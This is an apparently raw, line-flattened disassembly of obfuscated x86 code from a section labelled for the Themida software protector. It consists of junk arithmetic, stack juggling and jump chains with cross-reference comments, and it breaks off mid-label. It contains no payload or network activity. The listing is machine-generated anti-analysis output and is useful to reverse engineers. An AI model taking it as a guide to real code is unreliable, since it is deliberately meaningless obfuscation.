Themida_:005A62DDj pop eax pop dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 xor esi, eax xor eax, esi xor esi, eax push 494Dh mov [esp], eax push 4100h mov [esp], esi push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 pop esi jmp loc_5ABDDC ; --------------------------------------------------------------------------- loc_5A8D77: ; CODE XREF: Themida_:005A8693j push ebx push 3EFA0F7Ch pop ebx add ebx, 31D579C0h shr ebx, 4 jnz loc_5A8E0E not ebx sub ebx, 0F8F30768h jmp loc_5A8F51 ; --------------------------------------------------------------------------- loc_5A8D9A: ; CODE XREF: Themida_:005A5F08j mov ecx, [esp] jmp loc_5AB85A ; --------------------------------------------------------------------------- loc_5A8DA2: ; CODE XREF: Themida_:005A8910j add eax, 7EF74A17h sub edx, eax mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edi jmp loc_5A413B ; --------------------------------------------------------------------------- loc_5A8DBD: ; CODE XREF: Themida_:0059933Bj jz loc_5ACD2C add bh, 0DEh mov dl, bh jmp loc_5AB66B ; --------------------------------------------------------------------------- loc_5A8DCD: ; CODE XREF: Themida_:005AD6BAj pop esi push ebx push dword ptr [esp+4] jmp loc_5994E7 ; --------------------------------------------------------------------------- loc_5A8DD8: ; CODE XREF: Themida_:005AE54Bj jmp loc_5A3B70 ; --------------------------------------------------------------------------- loc_5A8DDD: ; CODE XREF: Themida_:0059B49Aj ; Themida_:005A3B6Bj pop esi xor edi, ecx jmp loc_5A6B55 ; --------------------------------------------------------------------------- loc_5A8DE5: ; CODE XREF: Themida_:0059D756j add dword ptr [esp], 4 pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp push eax mov eax, 471C1E27h sub [esp+8], eax pop eax sub [esp+4], eax jmp loc_5A980A ; --------------------------------------------------------------------------- loc_5A8E0E: ; CODE XREF: Themida_:005A8D87j not ebx sub ebx, 0F8F30768h jmp loc_5AD230 ; --------------------------------------------------------------------------- loc_5A8E1B: ; CODE XREF: Themida_:0059AF96j sub esp, 4 mov [esp], ebp push esp jmp loc_59C552 ; --------------------------------------------------------------------------- loc_5A8E27: ; CODE XREF: Themida_:005ACE28j pop eax add bl, al push 7D58h mov [esp], ecx mov ch, 9Bh push 302Ah mov [esp], edx push eax jmp loc_598F0C ; --------------------------------------------------------------------------- loc_5A8E42: ; CODE XREF: Themida_:005A8F64j xor ebp, 4E0F5DDEh inc ebp shr ebp, 5 xor ebp, 53436D2Dh jo loc_59F424 jmp loc_5ACBA9 ; --------------------------------------------------------------------------- loc_5A8E5D: ; CODE XREF: Themida_:0059BB99j mov ecx, ebx pop ebx pop edx sub ebp, 459C637Ch add ebp, ecx add ebp, 459C637Ch mov ecx, [esp] push ebx push esp pop ebx jmp loc_59F5D8 ; --------------------------------------------------------------------------- loc_5A8E7A: ; CODE XREF: Themida_:005ABE5Bj mov esi, [esp] jmp loc_5A0ED4 ; --------------------------------------------------------------------------- loc_5A8E82: ; CODE XREF: Themida_:005ADE84j add edx, 58673B8Fh sub edx, ecx push eax mov eax, 59A600B0h jmp loc_59CCAD ; --------------------------------------------------------------------------- loc_5A8E95: ; CODE XREF: Themida_:005A6152j pop edx inc edi add edi, 0B3A40BCh add edi, 51FF336Bh jmp loc_5A882E ; --------------------------------------------------------------------------- loc_5A8EA8: ; CODE XREF: Themida_:00599D96j mov ecx, esp push ebp mov ebp, 4 add ecx, ebp jmp loc_59F2AB ; --------------------------------------------------------------------------- loc_5A8EB7: ; CODE XREF: Themida_:0059CA3Fj pop eax jmp loc_5ADE34 ; --------------------------------------------------------------------------- loc_5A8EBD: ; CODE XREF: Themida_:005ABE09j sub edx, 47EE0FBFh sub edx, 5D2B7F12h jl loc_5A9358 or edx, 7A82E57h jz loc_5A6126 xor al, 0BFh pop ebp loc_5A8EDE: ; CODE XREF: Themida_:005A38F4j pop ecx xor ecx, 420B016Eh push esi mov esi, 1F6D0184h sub esi, 0E508E1E5h sub ecx, esi pop esi push eax mov eax, 72083861h not eax jmp loc_59D40D ; --------------------------------------------------------------------------- loc_5A8F01: ; CODE XREF: Themida_:005A1CEBj ; Themida_:005A7E8Bj ... sub ebx, ebp pop ebp add ebx, edx push ecx jmp loc_5A8027 ; --------------------------------------------------------------------------- loc_5A8F0C: ; CODE XREF: Themida_:005A6BD7j ; Themida_:005A8B46j xor ebp, 0FA58E764h jmp loc_5A0D61 ; --------------------------------------------------------------------------- loc_5A8F17: ; CODE XREF: Themida_:005A1D65j add esp, 4 push eax push edi jmp loc_59CF62 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A8F28: ; CODE XREF: Themida_:0059A050j push edx mov edx, 61633E00h add edx, 1AA8C577h jmp loc_59B384 ; --------------------------------------------------------------------------- loc_5A8F39: ; CODE XREF: Themida_:005A460Bj mov [esp], ebp push ecx mov ecx, 382D4099h mov ebp, 2AA03B41h xor ebp, ecx mov ecx, [esp] jmp loc_5A7BB1 ; --------------------------------------------------------------------------- loc_5A8F51: ; CODE XREF: Themida_:005A1F88j ; Themida_:005A8D95j xor ebp, ecx mov ecx, [esp] add esp, 4 neg ebp jns loc_5A01E9 jmp loc_5A8E42 ; --------------------------------------------------------------------------- loc_5A8F69: ; CODE XREF: Themida_:0059B4D8j xor eax, 70A61772h sub eax, 72EF763h or edi, eax pop eax xor edi, 6FB826ABh jz loc_5A75F9 shr edi, 1 jnz loc_5A62B7 or edi, 152627D7h shr edi, 4 push eax mov al, bl pop ecx loc_5A8F97: ; CODE XREF: Themida_:005AE8D8j add esp, 4 jmp loc_5A2CBB ; --------------------------------------------------------------------------- loc_5A8F9F: ; CODE XREF: Themida_:005A2335j sub ecx, eax mov eax, [esp] add esp, 4 add ebx, ecx mov ecx, [esp] push ebp mov ebp, esp jmp loc_5A39F4 ; --------------------------------------------------------------------------- loc_5A8FB4: ; CODE XREF: Themida_:005ACDFEj add dword ptr [esp], 4 pop ebp push ecx push eax mov eax, 4 mov ecx, eax pop eax add ebp, ecx jmp loc_59DFF3 ; --------------------------------------------------------------------------- loc_5A8FCA: ; CODE XREF: Themida_:005A175Fj neg ah or ah, 31h push edx jmp loc_5A1F56 ; --------------------------------------------------------------------------- loc_5A8FD5: ; CODE XREF: Themida_:005A303Bj add eax, 4 jmp loc_5AD0AA ; --------------------------------------------------------------------------- loc_5A8FDF: ; CODE XREF: Themida_:005A2203j mov ecx, 4 add eax, ecx pop ecx push edi mov edi, esp push ecx mov ecx, 793D449Eh jmp loc_59B8CA ; --------------------------------------------------------------------------- loc_5A8FF5: ; CODE XREF: Themida_:005ADD77j push cx pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A8FFD: ; CODE XREF: Themida_:005AF9FBj add ecx, edi jmp loc_5A131A ; --------------------------------------------------------------------------- loc_5A9004: ; CODE XREF: Themida_:005A9184j sub eax, 0A8A7B8Dh add ebx, eax pop eax jmp loc_5A0747 ; --------------------------------------------------------------------------- loc_5A9011: ; CODE XREF: Themida_:005AD0F5j jmp loc_5A0F1B ; --------------------------------------------------------------------------- loc_5A9016: ; CODE XREF: Themida_:005A26AAj push edx mov edx, 530785Eh jmp loc_5A2CCC ; --------------------------------------------------------------------------- loc_5A9021: ; CODE XREF: Themida_:0059F14Aj mov ebp, [esp] add esp, 4 shr esi, 3 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5A3CCC ; --------------------------------------------------------------------------- loc_5A903E: ; CODE XREF: Themida_:0059F29Ej push dword ptr [esp+4] mov esi, [esp] jmp loc_5A2B51 ; --------------------------------------------------------------------------- loc_5A904A: ; CODE XREF: Themida_:0059C5D2j mov edx, 2D884913h jmp loc_599936 ; --------------------------------------------------------------------------- loc_5A9054: ; CODE XREF: Themida_:00599DF2j ; Themida_:0059CFB9j add cl, 0E9h add cl, dh sub cl, 0E9h pop edx dec cl and cl, 1Bh dec cl sub esp, 2 mov [esp], bx mov bh, 88h sub cl, bh pop bx add bl, cl pop ecx sub bl, al push eax mov eax, esp add eax, 4 push esi mov esi, 4 jmp loc_59E025 ; --------------------------------------------------------------------------- loc_5A908C: ; CODE XREF: Themida_:00598BF2j ; Themida_:005A2CA2j ... push eax mov al, dh jmp loc_5AC063 ; --------------------------------------------------------------------------- loc_5A9094: ; CODE XREF: Themida_:005A217Aj push ebp push 0B2F08F0Ah pop ebp add ecx, ebp pop ebp not ecx push ebp jmp loc_5A0C82 ; --------------------------------------------------------------------------- loc_5A90A6: ; CODE XREF: Themida_:005A5A78j ; Themida_:005AEA99j xor ebx, 0F7EC166Dh push ebp jmp loc_5ADFE3 ; --------------------------------------------------------------------------- loc_5A90B2: ; CODE XREF: Themida_:005A95EFj mov esi, [esp] push ebx mov ebx, esp push ebp jmp loc_5A21D2 ; --------------------------------------------------------------------------- loc_5A90BE: ; CODE XREF: Themida_:005ADD6Ej mov ecx, edx jmp loc_5AD4D9 ; --------------------------------------------------------------------------- loc_5A90C5: ; CODE XREF: Themida_:005AD5F2j pop ecx jmp loc_5AEFB8 ; --------------------------------------------------------------------------- loc_5A90CB: ; CODE XREF: Themida_:005A9891j mov eax, 0B5E307Ch push esi mov esi, 5ECA6CA9h jmp loc_59AFDF ; --------------------------------------------------------------------------- loc_5A90DB: ; CODE XREF: Themida_:005A2D9Dj pop edx sub ecx, 571B63A7h sub ecx, 66D90B6Ah sub ecx, 24E81C09h add ecx, edi add ecx, 24E81C09h add ecx, 66D90B6Ah add ecx, 571B63A7h jmp loc_5A91ED ; --------------------------------------------------------------------------- loc_5A9107: ; CODE XREF: Themida_:005A8C23j mov ebx, 0 push ebx jmp loc_5AA911 ; --------------------------------------------------------------------------- loc_5A9112: ; CODE XREF: Themida_:005A8713j jmp loc_5A8273 ; --------------------------------------------------------------------------- loc_5A9117: ; CODE XREF: Themida_:005A1CBCj pop edx sub al, bl sub al, 98h add al, 61h mov bx, [esp] push edi push esp pop edi add edi, 4 jmp loc_5AB43A ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_59BF39 ; --------------------------------------------------------------------------- loc_5A913E: ; CODE XREF: Themida_:0059BFE3j add ebx, 18FE5BE2h add ebx, 42430800h jmp loc_5A3DA2 ; --------------------------------------------------------------------------- loc_5A914F: ; CODE XREF: Themida_:0059D56Bj not edi push eax mov eax, 5F2A59DFh jmp loc_5AEC3C ; --------------------------------------------------------------------------- loc_5A915C: ; CODE XREF: Themida_:005A2FC9j xor ebx, 14C8310Bh push edi mov edi, 0F7B7DADCh add ebx, edi pop edi xor ebp, ebx jmp loc_598B61 ; --------------------------------------------------------------------------- loc_5A9172: ; CODE XREF: Themida_:005A08CDj push edi mov edi, 4 sub edx, edi jmp loc_5A0733 ; --------------------------------------------------------------------------- loc_5A917F: ; CODE XREF: Themida_:0059FA65j xor eax, 5C651CE2h jmp loc_5A9004 ; --------------------------------------------------------------------------- loc_5A9189: ; CODE XREF: Themida_:0059C2ABj sub ebp, ecx sub ebp, 686D676Dh sub ebp, 42B62F9h pop ecx mov ecx, [esp] add esp, 4 sub eax, ebp pop ebp add ebx, 10B91AD4h jmp loc_5A23C4 ; --------------------------------------------------------------------------- loc_5A91AF: ; DATA XREF: Themida_:00598848o lodsd push ebp mov ebp, 5B3D6BE9h sub esi, 29085FE0h sub esi, ebp add esi, 29085FE0h jmp loc_5A581F ; --------------------------------------------------------------------------- loc_5A91C9: ; CODE XREF: Themida_:0059BA72j mov ebx, 380A4211h shr ebx, 1 shr ebx, 1 neg ebx sub ebx, 0F1FD6F78h add edx, ebx pop ebx push edx push dword ptr [esp+4] pop edx jmp loc_5A0807 ; --------------------------------------------------------------------------- loc_5A91E8: ; CODE XREF: Themida_:005A4DCDj jmp loc_5A090D ; --------------------------------------------------------------------------- loc_5A91ED: ; CODE XREF: Themida_:loc_598C5Fj ; Themida_:005A9102j pop edi push ebp mov ebp, 62FA105Dh dec ebp neg ebp jmp loc_5AD790 ; --------------------------------------------------------------------------- loc_5A91FC: ; CODE XREF: Themida_:005A99E5j mov [esp], edx mov edx, 5F510C7Bh neg edx push ecx mov ecx, 28990CB5h sub ecx, 796D2143h xor ecx, 37D513DFh sub ecx, 3D03813h sub ecx, 0FC9051A6h jmp loc_59E25A ; --------------------------------------------------------------------------- loc_5A9229: ; CODE XREF: Themida_:00599F51j add edi, 77A2EF1h sub edi, 66B26EECh sub esi, 35D90DABh sub esi, edi add esi, 35D90DABh jmp loc_5992D6 ; --------------------------------------------------------------------------- loc_5A9248: ; CODE XREF: Themida_:005ADE47j mov esi, esp push ebx mov ebx, 0EBB0FFAh dec ebx jmp loc_59BFE8 ; --------------------------------------------------------------------------- loc_5A9256: ; CODE XREF: Themida_:0059AFE5j or esi, 425D1736h xor esi, 7950007Dh xor esi, 984E8CC9h sub eax, esi pop esi xor ebp, eax pop eax jmp loc_59D5F4 ; --------------------------------------------------------------------------- loc_5A9273: ; CODE XREF: Themida_:005AF614j jg loc_5ADDCD neg dh add dh, 6 sub esp, 4 mov [esp], ecx mov ch, dh mov al, ch jmp loc_5A3628 ; --------------------------------------------------------------------------- loc_5A928D: ; CODE XREF: Themida_:0059C1B6j neg esi neg esi inc esi xor esi, 5EA40B12h mov ebx, esi pop esi push 6678h jmp loc_59F58C ; --------------------------------------------------------------------------- loc_5A92A5: ; CODE XREF: Themida_:005ACC7Dj add eax, 1E9F386Dh jmp loc_5AEA6E ; --------------------------------------------------------------------------- loc_5A92AF: ; CODE XREF: Themida_:005A30B6j mov [esp], ebp push eax mov eax, 3493022Eh xor eax, 764E207Dh jmp loc_5AA345 ; --------------------------------------------------------------------------- loc_5A92C2: ; CODE XREF: Themida_:005AD650j dec ecx sub esp, 4 mov [esp], ebx mov ebx, 5644343h jmp loc_59E0A0 ; --------------------------------------------------------------------------- loc_5A92D3: ; CODE XREF: Themida_:005A21AEj push edx mov edx, 717D4321h shr edx, 2 shl edx, 1 sub edx, 0ADBE098Eh add ebp, edx pop edx jmp loc_59FEBA ; --------------------------------------------------------------------------- loc_5A92EC: ; CODE XREF: Themida_:005A7B44j or dl, 92h sub dl, 0CBh add al, dl pop edx add al, bl sub al, 34h push ecx push ebx mov bh, 0BCh mov ch, 0B7h jmp loc_5ACE2D ; --------------------------------------------------------------------------- loc_5A9304: ; CODE XREF: Themida_:005A4EA0j add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5A2386 ; --------------------------------------------------------------------------- loc_5A9315: ; CODE XREF: Themida_:005A437Aj mov eax, 4 jmp loc_59F76F ; --------------------------------------------------------------------------- loc_5A931F: ; CODE XREF: Themida_:005A1410j mov ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_599C13 ; --------------------------------------------------------------------------- loc_5A932C: ; CODE XREF: Themida_:loc_598D19j xor esi, 384FB7A8h neg esi add esi, 294571F3h inc esi shl esi, 3 neg esi jmp loc_5A0B92 ; --------------------------------------------------------------------------- loc_5A9345: ; CODE XREF: Themida_:005A2142j mov esi, 513876B0h xor edi, esi jmp loc_5A9ABC ; --------------------------------------------------------------------------- loc_5A9351: ; CODE XREF: Themida_:005A7CD3j not dl jmp loc_598A9D ; --------------------------------------------------------------------------- loc_5A9358: ; CODE XREF: Themida_:005A8EC9j or edx, 7A82E57h jz loc_5A0033 jmp loc_59A324 ; --------------------------------------------------------------------------- loc_5A9369: ; CODE XREF: Themida_:005A2A01j sub ebx, 10180D80h jmp loc_5AE66F ; --------------------------------------------------------------------------- loc_5A9374: ; CODE XREF: Themida_:loc_5A666Fj jmp loc_5A27C2 ; --------------------------------------------------------------------------- loc_5A9379: ; CODE XREF: Themida_:005A0525j add dword ptr [esp+4], 20917F2Dh add [esp+4], ebp sub dword ptr [esp+4], 20917F2Dh pop ebp mov ecx, [esp] add esp, 4 add ecx, 4 push edx mov edx, 2E17BD3h neg edx sub edx, 524C42C0h jmp loc_59F3F3 ; --------------------------------------------------------------------------- loc_5A93AD: ; CODE XREF: Themida_:0059CCFCj xor edi, ebp pop ebp xor edx, edi jmp loc_5A7809 ; --------------------------------------------------------------------------- loc_5A93B7: ; CODE XREF: Themida_:0059F9A7j xor edx, [esp] pop esp jmp loc_59F6AD ; --------------------------------------------------------------------------- loc_5A93C0: ; CODE XREF: Themida_:005A7E38j push ebx mov ebx, 42460C9Bh jmp loc_59966A ; --------------------------------------------------------------------------- loc_5A93CB: ; CODE XREF: Themida_:005A335Dj shr eax, 5 xor eax, 0AEB7C0Ch jns loc_5A0A72 jmp loc_59B1E3 ; --------------------------------------------------------------------------- sub esi, 4 push esi mov cl, 0ECh loc_5A93E4: ; CODE XREF: Themida_:005A3A8Cj mov [esp], ebp mov ebp, 44B22367h and ebp, 3F2C2C40h jb loc_59E744 xor ebp, 60D9073Dh jnz loc_5A8A34 inc ebp jg loc_5AEE6A mov dh, dl push edx loc_5A940E: ; CODE XREF: Themida_:005A3245j add edi, 4 xchg edi, [esp] pop esp jmp loc_59CECC ; --------------------------------------------------------------------------- loc_5A941D: ; CODE XREF: Themida_:005AF6B7j add ecx, 4 xchg ecx, [esp] pop esp add esp, 4 jmp loc_5A5F82 ; --------------------------------------------------------------------------- loc_5A942F: ; CODE XREF: Themida_:005A567Bj push edx jmp loc_59B1EB ; --------------------------------------------------------------------------- loc_5A9435: ; CODE XREF: Themida_:005A254Bj xor ebx, 4D689287h jmp loc_5ACFC9 ; --------------------------------------------------------------------------- loc_5A9440: ; CODE XREF: Themida_:005A068Fj sub eax, 0F33DE8D5h mov esi, eax pop eax mov eax, esi jmp loc_59BF86 ; --------------------------------------------------------------------------- loc_5A944F: ; CODE XREF: Themida_:0059F8EDj or di, 7F31h dec di not di jmp loc_5A27CF ; --------------------------------------------------------------------------- loc_5A945E: ; CODE XREF: Themida_:005AE81Aj push esi mov esi, esp jmp loc_5AB9F0 ; --------------------------------------------------------------------------- loc_5A9466: ; CODE XREF: Themida_:0059CBFEj push 570Dh mov [esp], edx mov edx, esp add edx, 4 jmp loc_5AFB44 ; --------------------------------------------------------------------------- loc_5A947B: ; CODE XREF: Themida_:loc_5A3E91j add ecx, 0F1AE63ECh jmp loc_5A721D ; --------------------------------------------------------------------------- loc_5A9486: ; CODE XREF: Themida_:00599B3Bj pop edx add esi, ebx pop ebx push esi mov esi, esp sub esp, 4 mov [esp], edi mov edi, 4 add esi, edi pop edi sub esi, 4 xchg esi, [esp] jmp loc_5A2B8E ; --------------------------------------------------------------------------- loc_5A94A6: ; CODE XREF: Themida_:0059A4B2j push ecx mov edi, [esp] add esp, 4 push edi sub esp, 4 push 3DAAh mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_5A6251 ; --------------------------------------------------------------------------- loc_5A94C8: ; CODE XREF: Themida_:0059A6E6j pop esp shr eax, 12h xor eax, ecx jmp loc_5A84A7 ; --------------------------------------------------------------------------- loc_5A94D3: ; CODE XREF: Themida_:005A1FF8j pop eax pop ebx jmp loc_5ABC6D ; --------------------------------------------------------------------------- loc_5A94DA: ; CODE XREF: Themida_:005AA7F0j push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5AADA6 ; --------------------------------------------------------------------------- loc_5A94ED: ; CODE XREF: Themida_:005A8BFFj pop esi push ebx push 292B3C62h pop ebx shr ebx, 2 jz loc_59FA6A add ebx, 354166h jnp loc_5992FE push 39FEh mov [esp], edi mov edi, 19AC0EEh xor ebx, edi mov edi, [esp] jmp loc_5AE577 ; --------------------------------------------------------------------------- loc_5A9521: ; CODE XREF: Themida_:loc_5ABE2Bj add esi, 11BA782Dh jnp loc_59CD67 push edi mov edi, 12D95568h sub edi, 1EA6469Fh sub esi, edi jmp loc_5A013A ; --------------------------------------------------------------------------- loc_5A9540: ; CODE XREF: Themida_:005A5DECj add eax, esi sub eax, 61816184h pop esi push ebp jmp loc_5A99D2 ; --------------------------------------------------------------------------- loc_5A954E: ; CODE XREF: Themida_:005A119Cj xchg ebp, [esp] pop esp jmp loc_5A261D ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_5A29DE ; --------------------------------------------------------------------------- loc_5A9562: ; CODE XREF: Themida_:loc_5A26C6j ; Themida_:005AFBADj add edi, 4 xchg edi, [esp] pop esp add ebp, 4 push 2C50h mov [esp], esi mov esi, 2 sub ebp, 6642669Ch sub ebp, esi sub esp, 4 jmp loc_5AE2C3 ; --------------------------------------------------------------------------- loc_5A958F: ; CODE XREF: Themida_:005A37AFj pop ecx pop esi add ebx, 469741E0h sub ebx, 1F700D0Fh add ebx, ebp add ebx, 1F700D0Fh push edi mov edi, 469741E0h sub ebx, edi pop edi pop ebp xchg ebx, [esp] pop esp imul ecx, eax jmp loc_59C24D ; --------------------------------------------------------------------------- loc_5A95BB: ; CODE XREF: Themida_:00598FF3j ; Themida_:0059FA1Cj mov eax, 0E800AE5h push eax inc dword ptr [esp] pop eax jmp loc_5A70DF ; --------------------------------------------------------------------------- loc_5A95CA: ; CODE XREF: Themida_:005AB2A4j and edi, 183D07FBh neg edi jmp loc_59D6BE ; --------------------------------------------------------------------------- loc_5A95D7: ; CODE XREF: Themida_:005AA470j pop eax push 4CD6h mov [esp], esi push esp pop esi sub esp, 4 jmp loc_59E328 ; --------------------------------------------------------------------------- loc_5A95EA: ; CODE XREF: Themida_:005A7659j push 4 jmp loc_5A90B2 ; --------------------------------------------------------------------------- loc_5A95F4: ; CODE XREF: Themida_:005AF90Cj and ebx, 7C6F2EB9h push ebx dec dword ptr [esp] pop ebx push 27F8h mov [esp], ebp mov ebp, 11D87B1Ah push esi mov esi, 0E8BF0127h xor ebp, esi mov esi, [esp] add esp, 4 add ebx, ebp pop ebp sub eax, 56275064h add eax, ebx add eax, 56275064h pop ebx push 2923h mov [esp], edx push edi push 386Ch jmp loc_5A6881 ; --------------------------------------------------------------------------- loc_5A9640: ; CODE XREF: Themida_:005A53F9j sub edx, ebx pop ebx xor edx, 126F0722h shr edx, 7 jmp loc_5A0312 ; --------------------------------------------------------------------------- loc_5A9651: ; CODE XREF: Themida_:005A5E0Ej mov ebx, ecx jmp loc_5AEA75 ; --------------------------------------------------------------------------- loc_5A9658: ; CODE XREF: Themida_:0059C84Fj sub eax, 2BB84577h pop esi jmp loc_5A6FEE ; --------------------------------------------------------------------------- loc_5A9663: ; CODE XREF: Themida_:005AFADBj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A9668: ; CODE XREF: Themida_:loc_5AF557j shl edi, 8 jns loc_59FCD5 jmp loc_5AA171 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_5ACD3C ; --------------------------------------------------------------------------- loc_5A9686: ; CODE XREF: Themida_:0059F335j xor eax, ecx push 7587h mov [esp], eax push 29FEh mov [esp], edi mov eax, [esp] push edx mov edx, esp add edx, 4 sub esp, 4 mov [esp], eax mov eax, 4 jmp loc_59D2A4 ; --------------------------------------------------------------------------- loc_5A96B4: ; CODE XREF: Themida_:005A2D60j mov ecx, 0AB460AD5h add ebp, ecx mov ecx, [esp] add esp, 4 jmp loc_5A036E ; --------------------------------------------------------------------------- loc_5A96C6: ; CODE XREF: Themida_:005A45C8j sub esp, 4 mov [esp], eax mov eax, 5A533ED3h add edi, 0D1D1434h sub edi, eax sub edi, 0D1D1434h mov eax, [esp] add esp, 4 pop ebp xchg edi, [esp] jmp loc_5A395B ; --------------------------------------------------------------------------- loc_5A96EE: ; CODE XREF: Themida_:005A9E90j pop ebp add ebx, 29C46E1Bh add ebx, esi sub ebx, 29C46E1Bh jmp loc_5AFB55 ; --------------------------------------------------------------------------- loc_5A9702: ; CODE XREF: Themida_:005A3CE5j pop ebp jmp loc_5AB451 ; --------------------------------------------------------------------------- loc_5A9708: ; CODE XREF: Themida_:005A3D53j add eax, 4 jmp loc_5A3667 ; --------------------------------------------------------------------------- loc_5A9712: ; CODE XREF: Themida_:005A6109j push 6336h jmp loc_59BF5E ; --------------------------------------------------------------------------- loc_5A971C: ; CODE XREF: Themida_:005A80C2j mov eax, 2F8A4F0Ah sub dword ptr [esp+8], 7EDC5AA0h add [esp+8], eax jmp loc_5A268C ; --------------------------------------------------------------------------- loc_5A9732: ; CODE XREF: Themida_:005AA8D1j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_59E3CD ; --------------------------------------------------------------------------- loc_5A9749: ; CODE XREF: Themida_:0059A6A1j push edx mov edx, 4 add ecx, edx jmp loc_59EA57 ; --------------------------------------------------------------------------- loc_5A9756: ; CODE XREF: Themida_:005A1C69j sub al, 0C9h pop dx sub al, bl push dx jmp loc_5AF5D7 ; --------------------------------------------------------------------------- loc_5A9763: ; CODE XREF: Themida_:0059F8B3j pop esi mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 21D60E2Dh dec eax inc eax jle loc_5A2759 shr eax, 6 jmp loc_59D1FA ; --------------------------------------------------------------------------- loc_5A978B: ; CODE XREF: Themida_:005AC3F7j add esi, 28986918h add esi, 3E625214h sub esi, ebp push ebx mov ebx, 28915DF1h xor ebx, 16F30FE5h sub esi, ebx pop ebx sub esi, 28986918h pop ebp pop eax push 312Bh mov [esp], ecx jmp loc_5A4497 ; --------------------------------------------------------------------------- loc_5A97BD: ; CODE XREF: Themida_:00598B7Aj ; Themida_:loc_5A4136j sub ebx, 3BED5547h add ebx, ebp jmp loc_5AA31C ; --------------------------------------------------------------------------- loc_5A97CA: ; CODE XREF: Themida_:0059A647j inc ecx jle loc_599FB8 sub ecx, 0B74A92D7h mov esi, ecx pop ecx and cl, 4Dh push edi loc_5A97DE: ; CODE XREF: Themida_:0059B520j mov [esp], dx mov dl, 7Fh push ecx mov cl, 9Dh or cl, 54h inc cl add cl, 3Bh sub bl, cl jmp loc_5A3527 ; --------------------------------------------------------------------------- loc_5A97F6: ; CODE XREF: Themida_:005ABF14j push edx mov edx, esp add edx, 4 jmp loc_5A8993 ; --------------------------------------------------------------------------- loc_5A9804: ; CODE XREF: Themida_:005A8BC8j push edi jmp loc_59DD75 ; --------------------------------------------------------------------------- loc_5A980A: ; CODE XREF: Themida_:005A8E09j push edx jmp loc_5ABB48 ; --------------------------------------------------------------------------- loc_5A9810: ; CODE XREF: Themida_:005AA01Bj ; Themida_:loc_5AA0F2j or ebp, 6D3B3F23h jmp loc_5A6100 ; --------------------------------------------------------------------------- loc_5A981B: ; CODE XREF: Themida_:005A5CB2j mov [esp], ecx jmp loc_5A1222 ; --------------------------------------------------------------------------- loc_5A9823: ; CODE XREF: Themida_:0059EC12j shr edx, 1 jmp loc_5A63B4 ; --------------------------------------------------------------------------- loc_5A982A: ; CODE XREF: Themida_:0059F504j mov eax, 2 sub edi, eax jmp loc_5A3E5E ; --------------------------------------------------------------------------- loc_5A9836: ; CODE XREF: Themida_:0059E9ADj add esi, 113E3F7Eh pop ecx sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ebx push 51D4h mov [esp], edx mov edx, 0 mov ebx, edx pop edx jmp loc_59BF86 ; --------------------------------------------------------------------------- loc_5A9861: ; CODE XREF: Themida_:005ACF06j add esp, 4 xor edi, [esp] xor [esp], edi jmp loc_5A0585 ; --------------------------------------------------------------------------- loc_5A986F: ; CODE XREF: Themida_:005A5DB4j add ecx, edi pop edi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_59A009 ; --------------------------------------------------------------------------- loc_5A9884: ; CODE XREF: Themida_:005A9CB7j add esp, 4 push ebp mov ebp, 65964AC5h push eax jmp loc_5A90CB ; --------------------------------------------------------------------------- loc_5A9896: ; CODE XREF: Themida_:005ACD69j ; Themida_:005AF63Dj add esi, 843769Eh push eax mov eax, esp add eax, 4 jmp loc_598A29 ; --------------------------------------------------------------------------- loc_5A98A9: ; CODE XREF: Themida_:0059E60Fj sub esp, 2 mov [esp], bx push 423Ah mov [esp], edx jmp loc_5A5CAD ; --------------------------------------------------------------------------- loc_5A98C0: ; CODE XREF: Themida_:loc_59FE0Ej jmp loc_59CC12 ; --------------------------------------------------------------------------- loc_5A98C5: ; DATA XREF: Themida_:005987CCo mov ax, fs:[edx] jmp loc_5A795A ; --------------------------------------------------------------------------- loc_5A98CE: ; CODE XREF: Themida_:005A6BAAj mov ebp, 41B14184h add edi, ebp jmp loc_59E3A8 ; --------------------------------------------------------------------------- loc_5A98DA: ; CODE XREF: Themida_:005A4131j not dh add dh, 0Ch jb loc_5A8A6C and dh, 0F2h or dh, 0C2h jp loc_5AB747 not dh xor dh, 0C8h push ebx push eax mov al, dh jmp loc_59F58C ; --------------------------------------------------------------------------- loc_5A98FF: ; CODE XREF: Themida_:0059A3C1j mov [esp], edx push eax mov eax, 0AB826E9h mov edx, eax pop eax shr edx, 6 jmp loc_5A05C1 ; --------------------------------------------------------------------------- loc_5A9913: ; CODE XREF: Themida_:005A7BACj pop ecx jmp loc_5A3D85 ; --------------------------------------------------------------------------- loc_5A9919: ; CODE XREF: Themida_:0059AD91j add esp, 4 jmp loc_5A0661 ; --------------------------------------------------------------------------- loc_5A9921: ; CODE XREF: Themida_:0059F823j add esi, eax jmp loc_59A055 ; --------------------------------------------------------------------------- loc_5A9928: ; CODE XREF: Themida_:005A8264j mov eax, ecx push eax jmp loc_5AE310 ; --------------------------------------------------------------------------- loc_5A9930: ; CODE XREF: Themida_:005A84E3j ; Themida_:005AD360j push esp jmp loc_599EAA ; --------------------------------------------------------------------------- loc_5A9936: ; CODE XREF: Themida_:005A40F5j dec bh jmp loc_5A4D09 ; --------------------------------------------------------------------------- loc_5A993D: ; CODE XREF: Themida_:loc_5A11A1j dec esi jg loc_5ABE2B jmp loc_599A46 ; --------------------------------------------------------------------------- mov [esp], ebx mov bh, bl push eax loc_5A994F: ; CODE XREF: 